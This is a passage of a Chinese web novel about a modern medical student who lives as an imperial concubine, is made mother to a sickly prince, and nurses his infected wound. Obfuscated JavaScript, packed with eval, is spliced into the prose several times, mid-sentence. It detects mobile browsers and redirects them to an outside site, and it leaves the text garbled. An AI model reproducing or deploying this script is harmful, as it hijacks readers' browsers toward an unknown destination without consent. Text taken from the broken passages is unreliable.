嘶,这就难怪了。当时看书,梅胤穗就只愿意喊梅胤飞兄长,一次大哥也没有喊过,想来那个时候,她也是一直在和家里人赌气吧。 难怪今日白天见面,她喊梅胤飞兄长的时候,梅胤飞的脸色会那么不好看,一直在强调她要好好照顾自己,甚至还不怕死的给她送迷药。或许离开之前回头看她的那一眼,是希望她能喊出一句大哥的吧。 “对了,穗穗,你今天见到我大哥了,他怎么样?我进宫之后再没见过他了。”梅澹秋将梅胤穗拉到自己身边坐下,趴着桌子看她,声音闷闷的。 “你大哥吗?我觉得他气色还好,就是很担心我......你在皇宫里的安全,很在意你的感受。甚至还带来了迷药,说侍寝时,若不愿意,可以用迷药,不要勉强自己。” 听到迷药之后,梅澹秋便笑出了声,“迷药啊,那肯定是二哥想出来的法子。大哥哪种榆木脑袋,怕是怎么都想不出来这种歪招。我和你说,我二哥医术特别厉害的。他和我一同出生,却天生身体有亏损,有很严重的咳疾。家里人遍寻名医都没什么好转,就只能让大夫在家里候着,以免需要的时候寻不见。” “都说久病成医,二哥跟着那些个名医学习,东学一点,西摘一点,融会贯通,也学的一手好医术。但是身体不好,不便出门。他便经常做各些不同功效的药给大哥和我。” 像是突然想到了什么似的,梅澹秋从怀里掏出来一个帕子,打开来,里面是一对镯子。这镯子不同一般的,宽度只有寻常的三分之一,但是每一个上面的花纹都很细致。玉镯的成色极好,就连梅胤穗这种不怎么熟悉玉器的都能看出来,送镯子的人一定花了很多心思。 “二哥最是细心脾气好。这对镯子就是他送我的及笄礼之一。当时京城最流行的就是这节步镯,两个细镯子成对佩戴,发声清脆。二哥明明出不了门,却不知从哪里寻来了一块上好的玉料,找名匠为我打了这一对镯子。哦对了,我同你说个有趣的。母亲说二哥自小脾气就好,谁惹都不生气,就连睡觉被吵醒了,也只是看着大人,自己一个人悄悄玩,很少哭泣。” “在我的记忆里,二哥六岁的时候,大哥十一岁,那时大哥天天跟着舅父练武。看着二哥身体弱,便总拉着二哥一起,蹲马步啊什么的。二哥也不吭声,脸憋红的都不出声,要不是后来父亲过来,二哥怕是又要大病一场。”梅澹秋说着家里的琐碎事情,面上看着神色极好,也没有先前的悲伤,“对了,你要是后面见到我二哥了,记得让他好好照顾自己,不要太担心我......” 大概是从梅澹秋说最后一句话的时候开始,她的声音逐渐变弱,梅胤穗的眼前也逐渐变得迷糊。她刚闭上眼,再睁开时,便已经回到的华阳殿寝宫。 大概是突然换了场景不习惯,梅胤穗一时间并没有反应过来。 入目便是一只手拿起自己放在桌上随意写画的废纸。梅胤穗突然警觉,从榻上爬起来抢过废纸。 “静王殿下不在偏殿好好休息,偷跑到本宫的寝殿是打算做什么?就算本宫现在已经是名义上的母妃了,你也不能如此放肆。”梅胤穗皱着眉头看着不速之客,却只对上裴翊珣的笑,心里生出一团无名火。 “贵妃娘娘不是说要当我的姐姐吗?怎么如今又说上母妃了。” 不知道为什么,梅胤穗总感觉裴翊珣语气欠欠的,怎么听都不舒服。 “我管你什么母妃什么姐姐的,反正是长辈,你擅闯长辈的寝宫你还有礼了?”梅胤穗气急败坏的瞪了裴翊珣一眼,拿起身边的外袍披在身上就喊人进来问责,“苏荷,你怎么做事的,怎么不声不响的就放静王殿下进来。殿下来了你不知道要喊本宫起来吗?” 殿外的苏荷带着侍女连忙赶进来,在梅胤穗面前跪倒一片。 裴翊珣看到这番景象,原先脸上带着的笑不复存在,眉眼间多了一丝厌恶。 “贵妃娘娘还是别为难他们了,是我要他们不要打扰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668535|173038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵妃娘娘休息的。而且,既然我现在已经是娘娘的儿子了,我想进来,他们自然也是拦不住的。” 我当然知道没人拦得住你,你可是大爷,谁敢拦你,我不过假装发个火,不然人设会ooc。这人真是烦死人了,给自己请了个祖宗回家。 “罢了,你们都先起来吧,以后不要在犯就好。苏荷,你过来帮本宫重新梳洗一下。”梅胤穗气没处发,但又不想憋着,转头看向站在一旁看戏的裴翊珣,“静王殿下先出去一下吧,本宫梳洗完之后,再陪殿下好,好,玩。” “那儿臣在外候着,母妃慢慢来,不要急。”裴翊珣行了个礼,便转身离开,走之前,还特意深深看了梅胤穗一眼。 不知道为什么,裴翊珣明明笑着,眼睛里却是冷的,看她的那一眼,身上怎么都不舒服,像是被什么大型兽类盯着一眼。 梅胤穗坐在梳妆台前,透过镜子看着身后的人。苏荷动作不怎么自然,眉眼紧簇着。 “嘶—”一根头发被不小心扯下,梅胤穗不受控制的轻呼出声。 “娘娘赎罪,奴婢不是故意的,请娘娘赎罪。”这声小小的痛呼像是什么开关似的,苏荷立马跪了下来,不敢抬头看梅胤穗。 啊?又跪吗?我只是疼了叫一下,不会杀人的啊! “没事没事,你先起来,这事不怪你,小心一点就行了。慢慢来,不要着急。”梅胤穗有些无奈的看着跪在地上的人,伸手将她扶起来。 见梅胤穗是真的没有生气,神色如常,苏荷便顺着力气站起来,拿着梳子重新帮她梳着发髻。 “苏荷,你怎么心神不宁的。有事都可以和本宫说,不用想那么多。” 听见梅胤穗的声音,苏荷手顿了一下,随即开口,“方才的事情,娘娘不怪我吗?都是我没有拦住的问题。您,不罚我吗?” “不是什么大事,他真的想进来,你们拦也拦不住的。以后记得进来叫醒本宫就好,毕竟只是名义上的,这样子让他看了真的很不好。” “奴婢知道了。偏殿已经收拾好了,殿下的东西也在陆续搬进来,娘娘一切放心。” “好的。”梅胤穗睁开眼,看着梳好的发髻,便起身整理好外袍后,朝殿外走去。 刚踏出寝宫的门,梅胤穗便看到了裴翊珣正背对着她,站在不远处的廊下,像是在看什么。 她走近了一些,才发现他看的是廊下挂着的灯笼,灯笼上绘着精美的图案,在微风中轻轻摇曳。 “静王殿下这是在欣赏灯笼吗?”梅胤穗开口问道。 裴翊珣转过身来,看着她,嘴角勾起一抹笑,“贵妃娘娘这时起床气消了?”见梅胤穗被这句话激的又要开口,他连忙又将视线放回灯笼上。 “贵妃娘娘这华阳殿正殿的灯笼,倒是别致。” “殿下这是在点本宫吗?暗示本宫忘了给偏殿也挂上几盏灯笼?”梅胤穗也笑了,她不知道裴翊珣葫芦里卖的什么药,但她也不想示弱。 8. 太后懿旨 “儿臣不敢,母妃误会我了,”裴翊珣只是转身拱手朝梅胤穗行了个及其敷衍的礼,“不过是觉得灯笼好看,这些东西我从前都不曾见过,好奇罢了。” 没见过灯笼吗?老师?认真的吗?我的天啊,这个鬼作者,怎么把男主搞得这么惨。 梅胤穗察觉自己一时失言,突然感觉刚刚自己怼出口的那些话,多少有些不太合适了。 “苏荷,你讲这几盏灯笼取下,差人送到偏殿。”梅胤穗不敢直视裴翊珣的眼睛,索性转身去找旁边的苏荷说话,好掩饰尴尬,“哎呀,这样,你再去库房多挑几盏好看的,全挂到偏殿。这马上就要到年节了,热闹些也好。” “静王殿下和本宫一起到外殿坐着的,总在外面吹风不好。”梅胤穗向前走了几步,回头发现站在灯笼边的人并没有动作,而是不知道盯着什么出神,便出声喊他跟上。 或许是身为医学生的责任吧,她每每看到裴翊珣苍白的脸色和时不时咳嗽出声的身体,都感觉这人活不久。原本古代医疗就不发展,小小的发烧一粒消炎药就能解决的问题,现在却有可能发展成肺炎。这病在古代几乎没得治,高烧烧上几天就能要人性命。 所以嘴毒的梅胤穗总是不敢肆意和他对嘴,生怕哪句话说的不称他心,再把人气病了,这个罪过可就大了。别回头好感度没刷上去,反而自己又落得一身灰。 华阳宫是历代皇贵妃所住之地,所以无论内外殿,都烧有地龙。 内殿温度适宜,梅胤穗坐下之后便取下了披风。身边的侍女上了完茶水后便立在一边,一声也不敢出。 梅胤穗端起茶杯喝了一口,刚入口,面色短暂的变了一下,随即便放下,再也没碰过。 “静王殿下今日一直跟着本宫,是有什么事情要同本宫说?”见对面的人一直不说话,梅胤穗犹豫了许久之后才开口打断沉默。 “是有些话相同母妃细聊,只是这......”裴翊珣看了看殿内站着的人,意有所指。 梅胤穗现在听到“母妃”两个字已经没什么特别的反应了,她面无表情的让苏荷带着侍女们都出门等着,殿内只留她和裴翊珣两人。 “贵妃娘娘,先前多有得罪。皇祖母的眼线遍布全皇宫,之前那些称呼都只是权益之计,若稍有不慎,我同贵妃在宫中的日子都不会好过。如今,我们都是靠着皇祖母的庇护过活。”裴翊珣见人都走了,一改先前总是面带笑容的模样,冷下脸来,特地站起身给梅胤穗行了礼。 “......没事。”梅胤穗干巴巴的回了句话之后,便不知道说什么了。 现在场景人物变化太快了,她有点没反应过来。 老师!她原先就最是没有什么宫斗权谋脑子的,放在哪种权谋或者宫斗剧了,恐怕活不到几集就会因为听不懂大人物说话,而被拉出去砍头吧。 唯一的那点眼力见,还是上了大学之后在导师和学长学姐手下练成的。眼看她努力奋斗寒窗苦读十几年,终于如愿考上自己喜欢的医学院,又苦读四年,虽说学医之路任重道远,但是也不能学一半给人拉走了啊! 现在想到这件事,梅胤穗仍然觉得不公平,世界上有那么多人,这本古早救赎文的读者更是数不胜数,她不相信只有她和书里面的炮灰女配重名。为什么!要选上她! 还鞠着躬行礼的裴翊珣,莫名感觉面前的女子在说完一句话之后怨气突然变大,看着他的眼神也突然变了。 “贵妃娘娘?” “哦哦,你还弯着腰呢,你先起来,没关系的,你坐下。一个称呼而已,我不在意的。”梅胤穗突然见裴翊珣依旧弯着腰,突然反应过来自己没让他坐下,作为晚辈便不能起身。 好嘛,来古代还当上长辈了,这下是真母妃了。 “我今日已和大哥说过了,过几日腊八宫宴,他会设计让你同父亲见一面。具体的安排,他们还会传信来,到时我再和你商量。” “劳烦贵妃娘娘费心了。但今日,我有更重要的事情要同娘娘说。娘娘先前说,见过我父王?”裴翊珣面色严肃,边说边从袖中拿出一方帕子。 “幼时常随家人进宫,有幸与先太子殿下同坐,见过几面也说过几句话。”梅胤穗回忆书中的内容,原身小时候进宫参加宴席,好像是和先太子打过照面,不然先前威胁裴翊珣时,也说不出那句父子两个眼睛相像,眼睛瞎了就不会被针对了。 “其实,当年边疆战争,并不是全员身亡。” “啊,真的吗?”梅胤穗听了这话,装作惊讶,捂着嘴好像一副不可置信的样子。 哎呀,我当然知道没有全军覆没,这要是全军覆没,你后面造反从哪里来的兵力支持,不都是先太子旧部嘛,我都知道,我还等着你造反登基后后,我能出宫过自己的安生日子呢。不管能不能回到现代,总归先脱离的闭塞荒谬的皇宫。 “是的,他们找上我,给我看了这个。”说着,裴翊珣站起身将手中的帕子放到梅胤穗身旁的桌子上。 帕子上有一股刺鼻的味道,像是什么特殊的化学药品,梅胤穗下意识的皱了皱眉,身子远离放着帕子的桌子。 “娘娘觉得很难闻?” “哦,我天生对味道比较敏感,所以觉得格外难闻。”梅胤穗一边回答,一边不动声色地观察着裴翊珣的神色,试图从他脸上看出些什么。 可裴翊珣的表情平静无波,让人猜不透他的心思。 “这帕子,是先父之物。”裴翊珣缓缓开口,每一个字都仿佛带着千钧的重量,“他们告诉我,当年边疆战争,父王受伤,便是用了奇药治伤。这药是其麾下一个幕僚所赠,说是虽然药敷在伤口上会很疼,但是会好的很快。那幕僚深受父王信任,父王没有过多怀疑便用了。” “那是药有问题?”梅胤穗捂住鼻子,有些好奇的凑上前,仔细看着帕子。 “药没有问题,”裴翊珣似乎是被味道熏久了,扭过头咳嗽的两声又接着说,“但因为是特别的药,自然副作用也很大,尤其是与一种特殊的烟雾一起吸入,便会身体迅速虚弱无力。他们和我说,当时对战时,确实有一团烟雾突然升起,遮挡了视线。最后烟雾散去时,父王便已经......” 听了这样一长段话,梅胤穗陷入了沉思。原文中好像提到过那场先太子的大战,当时呈给先帝的原因好像是,太子殿下因为先前一战受了伤,最后独自深入敌营,力竭后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668536|173038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敌,最终身亡。这样一想,确实疑点重重,问题很多。 但是!目前最大的问题是—— “静王殿下没有同本宫说实话吧。”梅胤穗放松身体,靠在椅背上,似笑非笑的看着裴翊珣,“先太子残部给你的到底是这一方帕子,还是真的当时先太子用的药。还有你特地和本宫提幕僚,是为了让本宫借家里,帮你查这个人吧。” “静王殿下要是有事求本宫帮忙,就实话实说。本宫和梅家可不做棋子,对弈者还是共谋者,只在殿下一念之间。”梅胤穗站起身,点了点裴翊珣的胸口,红色的指甲在素色袍子上格外显眼。 “我......” “娘娘,太后那边来人了。”苏荷快步走进内殿禀报。 梅胤穗和裴翊珣对视药了一眼,同时噤声,走出殿外。 华阳宫外园中,太后身边最得力的掌事姑姑,苏嬷嬷,带着两个小太监,神色严肃,手里捧着一卷明黄色的锦帛,在阳光下格外亮。 那正是懿旨的制式。 苏嬷嬷看着梅胤穗和裴翊珣一同出来,面上带了点笑容,“贵妃娘娘和静王殿下在一处啊,那就方便多了。看这表情,二位想必聊的也很愉快吧。看着你们两个这样好,太后她老人家也放心啦,静王殿下以后也有人庇护了,太后也就不怕往后再有什么不好照顾的地方了。” 听了这话,梅胤穗起了一身冷汗。 这必然是话里有话的,太后借苏嬷嬷之口敲打她。既然如今已经是静王的母妃,那此后在宫中,静王出了任何事情,都要她来承担责任。 可是前面那句聊的很愉快,也不知道有没有什么别的深意。 “臣妾自然尽心尽力照顾静王殿下,还请苏嬷嬷回去和太后说,让她务必放心。” 苏嬷嬷始终带着笑,听了这话也没什么变化,“好了,不闲聊了,贵妃娘娘,跪下接旨吧。” 华阳宫内外,所有宫人齐刷刷跪伏在地,屏息凝神。 梅胤穗深吸一口气,缓缓跪下低垂螓首。裴翊珣紧随其后,撩袍屈膝,动作干脆利落。 “奉天承运皇太后制曰:” “贵妃梅胤穗,性行温良,堪为母仪。静王裴翊珣,先太子之子,幼养宫中,孝悌可嘉。念其生母早逝,特旨:” “将静王裴翊珣记名于贵妃梅胤穗膝下,嗣为母子。贵妃梅氏即为静王母妃,静王当以亲母事之。着宗人府录牒遵行。” “钦此!” “贵妃娘娘,静王殿下,请接懿旨。太后慈恩,此乃天家盛事,恭喜娘娘,恭喜殿下!” 梅胤穗双手恭敬地高举过头顶,结果懿旨,“臣妾领旨谢恩。” 二人满满起身,苏嬷嬷对着裴翊珣笑了笑,朝他走了两步。 “静王殿下,太后有几句话,让奴带给您。” “旨意已下,贵妃便是你名正言顺的母妃。切记莫要冷着脸,须得时常去请安。她既然待你宽厚,你便更要恭敬体贴些。切记莫要寒了太后的心。” 裴翊珣点了点头,笑着说,“烦请苏嬷嬷帮我带句话给皇祖母,请她老人家放心。我定然时常来看母妃。也让她注意身体,我明日去给她请安。” 9. 风寒发热 冬日总是多雪,天空总是雾蒙蒙一片。难得一晴,好像是给了人喘息的机会。 “娘娘,今日天晴,天空瞧着万里无云,是难得的好天气呢。”苏荷站在梅胤穗身后替她梳着发髻,语气格外欢快。 “总要晴的,不然天空上都是云彩,盖在这宫墙上,好像压得人喘不过来气。”梅胤穗睁开眼睛,看着镜子里的自己,顿了许久,才从桌上随便选了簪子,让苏荷帮自己戴上。 原先她该快些梳洗,要去太后宫中请安的。但是今天刚起床没多久,太后那边就派人来面了她的请安,说是一早裴翊珣先去了长寿宫请安。祖孙俩要好好说说话,她就不必去了。 所以她才有空慢慢选衣服和首饰,算是难得的轻松休闲时间。 毕竟,早起总意味着大脑宕机,睡眠时间不足会让人变傻。来了古代,也要给她多点时间发呆才是。 收拾完装扮之后,梅胤穗抱着汤婆子走在院子中。 今日大晴,阳光照在积雪上显得格外亮。院中的雪也在慢慢融化,院子中的石阶都是湿漉漉的。 “总感觉这天是越来越冷了,”苏荷跟着梅胤穗在院中闲逛,一阵冷风吹来,经不住打了个寒颤,又往衣领里多缩了几分脖子,“幸好出太阳了,不然可是不好过呢。” 梅胤穗见身边人被冻红的手,几乎没有犹豫的,就将手中的汤婆子递到了苏荷面前。 “你拿着捂捂。” “啊,娘娘,这可使不得,你要是冻着了那可不得了。”苏荷有些慌张,伸手不是,定着不动也不是。 “这有什么使不得,我不冷。你拿着。”梅胤穗将汤婆子放到苏荷手上朝她笑了笑,又将双手贴到她冻得通红的脸色,“你看,我手热着呢。” 大概是这一番动作太过逾矩和不合常理,苏荷惊讶的呆在原地。 “嗯!”察觉到对面的温和和脸上的温度,苏荷回过神猛地点头。 看着面前的人露出略微满意的神情,便转身继续随处逛着,心情像是很不错,还哼着不知从哪里听来的不知名的小调。 苏荷看着眼前平静的人,心中莫名有些感动。 小姐变得,和出嫁前一样了啊。这些的一切都好像恢复成了小姐得知自己要嫁进宫中之前的样子了,现在的模样才对啊,会关心底下的人,不忍心让侍女整夜守夜,总是笑着的。 终于不再是从前那样整日阴沉着脸了,不会阴晴不定,不会动辄打骂。 她至今都记得那天小姐从老爷那回来之后的模样。也是从那一日开始,小姐开始大发脾气,肆意扔着屋里的东西,瓷器茶杯扔完之后,就是扔书册,枕头……谁也不能近身,甚至连最亲近的二少爷也进不了房门。 最后还是大少爷回来,一下将小姐弄晕才逐渐安稳下来。再醒来后,老爷和小姐重新谈了许久。也不知二人说了什么,总之,小姐不再闹,不再绝食,只是变得不爱说话,不爱笑,脾气也越来越差。 不管是什么原因又让小姐变回来了,总之现在这样就很好,一切都好! 苏荷看着距离自己越来越远的人,阳光照在鹅黄蹙金诃子裙上,显得格外耀眼,好像那阳光真的落在人间。她快走几步,重新跟在梅胤穗一步后。 “都说下雪不冷化雪冷,估计这天气,后面还会再凉些,雪应当也没那么好化。”梅胤穗停在院中一棵常青树旁,伸出手将叶片上的雪放在手中,看着她慢慢融化。 “娘娘,为什么化雪会更冷些呢?”苏荷看着因梅胤穗动作而微微散开的披风,伸手将其又往上披了些。 “因为……”梅胤穗顿了一下,陷入了沉默。 我这个嘴快,说这些干什么。这个我要怎么和古人解释啊,我总不能说因为化雪吸热,将室外的热量吸走了,所以温度会变低,天气会变冷吧。这样说了没人能理解啊! 梅胤穗看着绿色叶片上的雪,脑子突然蹦出一个想法。 “你给我一只手。”梅胤穗抓过一把雪,朝苏荷伸出手。 苏荷不明所以,但仍然将手放了上去。梅胤穗将雪放在苏荷手中,因为原先苏荷的手一直贴在汤婆子上,所以很暖和,雪也化得格外快。 “雪化了,什么感觉?” “很凉。” “对,就是凉,你看,沾到雪的地方变凉,而其他地方还是热的。这是因为,雪最开始便是由水而来,现在重新变成水,是需要吸取你手中的温度的,所以沾到雪的地方会变凉。”梅胤穗将苏荷手中的水抹去,慢慢说着。 “所以,所以现在到处都是雪,雪想要化成水,便需要吸取天地的温度,自然便是越来越冷了!”苏荷像是有了什么大发现一样,说完这一番话后,便看着梅胤穗,眼睛亮亮的。 “对的,全对,特别棒!”梅胤穗看着面前的人,也露出几分笑。 只是这安生时光没过多久,便有人传来噩耗。 “娘娘,娘娘,不好了,静王殿下被太后罚跪,此下晕倒了。” “什么!” 消息来得太过突然,今日雪停,梅胤穗原想等裴翊珣回来之后,好好叮嘱他多穿衣服,还差人备了姜汤候着。谁想到,居然在半路晕倒了?还被太后罚跪了?这祖孙俩昨天还好好的,怎么今天又吵翻了? 帝王家心思最是难猜啊…… 梅胤穗招呼着人,刚想往长寿宫方向去,便被人通知,静王已经在被送到华阳宫的路上了,贵妃娘娘就不必再赶过去了。 我的天!晕倒了都不就近在长寿宫安顿下,赶紧找太医吗?居然送回家是第一步吗?这不对吧老师? 所以梅胤穗在意识到裴翊珣本质上还是那个不受宠,人人可以欺凌的小王爷之后,第一反应就是—— “苏荷,你赶紧去喊太医。一定要快。” 梅胤穗带着人先一步到偏殿,没一会,裴翊珣便被送了过来。 看着那人嘴唇泛白,脸上却很红,伸手一摸,更是烫人。玄色的裤子上好像是沾了什么液体,颜色格外深。梅胤穗只当是被罚跪时,雪水沾到了,也没想那么多。便让人先把这一身湿衣服换下来,换上干净的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668537|173038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 梅胤穗让人先打了冷水,又拿了毛巾过来,自己站在床边,先用手试了试自己的额头,又贴着裴翊珣的额头感受了下。 其实不需要测了,高烧,但暂时原因不明,冻着还是之前的伤口感染,一半一半。 梅胤穗一边沾湿毛巾,给裴翊珣擦了擦手心,一边看着裴翊珣身上有没有别的伤口。 按理来说不应该,她那天亲自给上了药来着,不可能不管用,除非后面的他自己没涂药,或者就是,梅胤穗将视线放在了裴翊珣的膝盖上。 “太医呢?人呢?”梅胤穗的脸色逐渐难看,她想掀开衣服赶紧看看伤口,但是周边围着的都是侍女太监,她虽然是名义上的母妃,但二人只差两岁,总归在旁人眼里是个男女授受不亲。 可要是者太医一直不来…… 周边围着的人不少,本就都不敢说话,看着梅胤穗越来越急躁,更是一声不敢吭。 正当实在没办法,梅胤穗打算破罐子破摔,自己来治的时候,救星来了。 “太医来了,太医来了!” 只见苏荷拉着一个年轻男子跑进偏殿,那男子像是被一路拽着进来的,好不容易喘过气,放下药箱,拱手打算行礼。 “小人拜见……” “哎呀,你别拜见了,我真服了,快去看看静王殿下。” “哎,好好好。”说着便用袖子抹了抹额头上的汗,走到床边,拿起裴翊珣的一只手开始把脉。 看着那人眉头越皱越紧,但一直不说话,也不看别的地方。 梅胤穗有些不知道该说什么,她靠近身边的苏荷,“苏荷,你好好和我说,这人,真的是太医吗?” 苏荷犹豫了下,凑近梅胤穗耳边,“奴也是去了才知道,太后下了令说不许太医给静王医治。这人还是我好不容易拉出来的学徒,我想着,这总不算是太医了吧,反正死马当活马医……” 梅胤穗有点无语,叹了口气,扬起一个皮笑肉不笑的表情,走到那年轻男子身边,“您看静王殿下这……” “殿下身子薄弱,脉细弱无力,沉下去感觉更虚,这说明体质本身比较弱,气血不足。现在脉浮紧,加上发热,这明显是受了风寒……” 那男子说话速度不紧不慢,梅胤穗听着都着急。 静王在宫里是出了名的身体不好,这个还要你来我和说吗?我真是服了! “劳烦太医看看,静王殿下可有什么外伤,本宫方才看见他裤子上好像有血迹,可是膝盖上有伤口?”梅胤穗的声音带了些不易察觉的咬牙切齿。 经这一点,那人才反应过来,将裴翊珣的裤子挽到膝盖以上,这一看可不得了。 膝盖肿得如发面馒头一般,皮肉紧绷得发亮。伤处颜色骇人,边缘是深重的紫红,越往中心去,越是显出污浊的黄白之色。 “这,这伤口怎的在这样了。此刻已经生了脓水,怕是发热不光是风寒的缘故了,还与这伤口有关啊。” 梅胤穗看见他终于找到病症,自己亲眼看见了伤口,才终于松下一口气。 10. 皇家之争 “三钱黄芪,二钱防风,二钱苏叶,一钱荆芥穗,二钱茯苓,二钱白术,煎煮后服用,有固本培元……” 迷迷糊糊间,梅胤穗听见耳边有人念着药方,其中药物还有些熟悉…… 等下,不对,这是今天那太医学徒给裴翊珣开的药方,怎么会被别人看到! 梅胤穗意识到这一点之后,马上清醒,猛地坐起身。发现自己面前坐在异空间的亭中石凳上,对面是梅澹秋在念药方。 “穗穗,醒啦,来,喝口水。”梅澹秋很快发现之前一直趴在桌子上的梅胤穗坐直正看着自己,笑着放下了手中的东西,倒了杯水递给她。 梅胤穗接过杯子慢慢喝着,仔细回想自己睡着前在干什么。 那中医学徒替裴翊珣处理完腿上的伤,开了个药方之后便走了。梅胤穗便也没让那些侍女围在床边,而是自己亲自坐在旁边陪着,时不时拿毛巾沾凉水擦擦裴翊珣的手心和额头。 记得在失去意识前,她还拿着那人开的药方研究着,她当时学的是临床,对中医这方面,确实,没什么特别的建树。她想着,总归是中医学徒,不会比她还差,开的药方最差也是没效果,总不至于到有毒的程度吧。 打不了过一会喝了药没用,退不了烧,她就找高度酒精涂裴翊珣身上降温,反正是不能让人给烧傻了。 “这药方是开给静王殿下吧,药方没什么问题,只不过进程太慢。大概是怕静王殿下受不了太猛的药,反而得不偿失。”梅澹秋将药方放到梅胤穗面前,撑着下巴看着她。 “你懂药理?” “会一点点啦,毕竟从小跟在二哥后面来回跑。虽然比不上二哥制药那么厉害,但是看个风寒发热还是可以的。”梅澹秋说着话,有些骄傲地晃了晃头,发髻上的步摇也跟着动了动。 “对了,你怎么知道这药方是给静王的,你在这个空间里,能知道外面的事情?” “算是能知道,我正想等你什么时候过来之后和你说呢,跟我来,”梅澹秋听到她问这个,猛地站起来,拉着梅胤穗就往小楼走。 “其实在你上次突然出去之后,这楼里就突然多了很多别的东西,你看,窗边突然多了很多柜子,一个一个小格子分开着,我也打不开。我就想可能是有什么机关,或者要等你来才行。”梅澹秋指着窗边的柜子,梅胤穗越看越觉得像古代电视剧里拿着药铺的柜子,一个格子一个格子分开,还都是有抽屉的。 “还有这本书啊,就是上次我说我看到的那个话本。原先的内容都没了,现在的内容都是新的。你看看这些,是不是和你发生的事情一样,”梅澹秋将话本递给梅胤穗,“我也是看到你带过来的药方和这书里的一模一样,才大胆猜了一下,没想到就是真的。” 梅胤穗简单翻了一下,心里有些发毛,起了一身鸡皮疙瘩。 因为这书里,细致地记录了她穿来之后的所有事情,全部都是以第三人称上帝视角,记录着她和裴翊珣发生的所有事情。 这书里甚至有早晨裴翊珣和太后发生争吵的片段。 “澹秋,你可知道我在亭中睡了多久?” “应该不是很久,我当时看完话本的内容,就去楼外了,然后就远远发现你趴在那。”梅澹秋靠着桌子,看着梅胤穗的脸色严肃起来,也不再像之前那样笑了。 “你可记得我们上次见面聊了多久。” “半个时辰左右。你走得好突然,我一闭眼一睁眼你就消失了。” 半个时辰吗?那就是一个小时,梅胤穗记得上次醒过来之后,苏荷说过她大概就只睡了一刻钟左右。 空间内外流速不一样,外面十五分钟,里面一个小时,那就是,四倍速流动。 “澹秋,我借你这话本看一下。如果一会我还没走,我就和你再说说事情。” “好的。本来就是你发生的事情,我擅自看了反而是我的过错,现在又何来借这一说。” 看着梅澹秋和自己一模一样的脸上,露出温和的笑容,梅胤穗心中逐渐平和。 她需要知道早上为什么裴翊珣会和太后起争执,太后明知裴翊珣身体不好,又是为什么会到被罚跪这一步。 清晨卯时刚过,裴翊珣便起了床,偏殿内没有小太监守夜,裴翊珣还是自己走到门口才喊来人梳洗。 看到这里,梅胤穗皱了皱眉。她是现代人穿来古代,自己睡觉不习惯和别人同处一室,所以自此之后就没有叫人守夜的习惯。 但是裴翊珣作为静王,现在怎么也算是这华阳宫的小主子,怎么连个认真看着的人都没有。刚来人生地不熟,估计自己根本不知道去哪里擦拭吧。原书中提到栖梧阁只有两三个小厮,还不怎么尽心。重要的事情几乎都只交给贴身的小厮,十五去办。 十五是先太子给裴翊珣找的伴读,从小习武,到原书后期,也是裴翊珣麾下一员大将。 不过搬来华阳宫之后,也没见到裴翊珣身边跟人,估计被他招呼到哪里又去查什么别的了。 华阳宫和长寿宫离得不远,所以裴翊珣便也没有喊轿子,独自一人慢慢走到长寿宫前。 “静王殿下求见。” 长寿宫外殿太监朝里喊着,没一会苏嬷嬷才走出来,笑脸盈盈地走到裴翊珣跟前。 “静王殿下来得真早,太后她刚起,还在梳洗呢。您就在这等一会,我一会领您进去。” “好的,劳烦嬷嬷了。” 起先梅胤穗真的以为是太后没起来,又或是梳洗打扮慢了些。但是直到书中写道,裴翊珣裹紧了身上的大氅,双手冻得通红,她才反应过来。 OK啊OK,这是下马威。 真是服了啊,早些时候她去请安为难她敲打她的样子,还真以为太后有多珍惜这个皇太孙似的。 现在看来,其实不然。太后好像不怎么满意这个孙子啊,只不过看当今皇上,自己养了十几年的白眼狼便宜儿子更不顺眼,才退而求其次选了这个孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668538|173038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子了吧。 梅胤穗开始回想书中太后的作用…… 不对啊,太后好像没什么特别的用处,与其说她更偏向孙子还是儿子哪一方,不如说她其实掌握着平衡。她始终不让皇家之事闹得难堪,也尽量不让这些皇家密惺透露出去。 